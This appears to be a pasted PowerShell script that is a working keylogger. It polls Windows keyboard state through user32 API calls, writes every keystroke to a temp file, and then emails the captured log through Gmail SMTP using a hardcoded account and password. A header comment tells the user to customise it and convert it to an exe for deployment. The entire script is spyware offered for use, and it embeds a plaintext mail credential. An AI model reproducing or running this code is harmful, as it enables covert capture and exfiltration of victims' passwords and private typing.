· 6 years ago · Dec 19, 2019, 01:40 AM
1######################################################################
2## after you modify the information below then convert it to exe file#
3######################################################################
4
5function Start-KeyLogger($Path="$env:temp\keylogger.txt")
6{
7 # Signatures for API Calls
8 $signatures = @'
9[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
10public static extern short GetAsyncKeyState(int virtualKeyCode);
11[DllImport("user32.dll", CharSet=CharSet.Auto)]
12public static extern int GetKeyboardState(byte[] keystate);
13[DllImport("user32.dll", CharSet=CharSet.Auto)]
14public static extern int MapVirtualKey(uint uCode, int uMapType);
15[DllImport("user32.dll", CharSet=CharSet.Auto)]
16public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
17'@
18
19 # load signatures and make members available
20 $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
21
22 # create output file
23 $null = New-Item -Path $Path -ItemType File -Force
24
25 try
26 {
27 Write-Host 'Recording key presses. Press CTRL+C to see results.' -ForegroundColor Red
28
29 #please specify time and default is 20 seconds
30 $time = 0
31 while($time -lt 1200) {
32
33 $time
34 $time++
35 Start-Sleep -Milliseconds 2
36
37 # scan all ASCII codes above 8
38 for ($ascii = 9; $ascii -le 254; $ascii++) {
39 # get current key state
40 $state = $API::GetAsyncKeyState($ascii)
41
42 # is key pressed?
43 if ($state -eq -32767) {
44 $null = [console]::CapsLock
45
46 # translate scan code to real code
47 $virtualKey = $API::MapVirtualKey($ascii, 3)
48
49 # get keyboard state for virtual keys
50 $kbstate = New-Object Byte[] 256
51 $checkkbstate = $API::GetKeyboardState($kbstate)
52
53 # prepare a StringBuilder to receive input key
54 $mychar = New-Object -TypeName System.Text.StringBuilder
55
56 # translate virtual key
57 $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
58
59 if ($success)
60 {
61 # add key to logger file
62 [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
63 }
64 }
65 }
66 }
67 }
68 finally
69 {
70 # please specify your email info
71
72 $data = Get-Content "$Path"
73 $emailto = 'volimtestirati123@gmail.com'
74 $email = 'volimtestirati123@gmail.com'
75 $SMTPServer = 'smtp.gmail.com'
76 $SMTPPort = '587'
77 $Password = 'volimtestirati123?'
78 $subject = 'here are the keys'
79 $smtp = New-Object System.Net.Mail.SmtpClient($SMTPServer, $SMTPPort);
80 $smtp.EnableSSL = $true
81 $smtp.Credentials = New-Object System.Net.NetworkCredential($email, $Password);
82 $smtp.Send($email, $emailto, $subject, $data);
83
84
85 }
86}
87
88# records all key presses until script is aborted by pressing CTRL+C
89# will then open the file with collected key codes
90Start-KeyLogger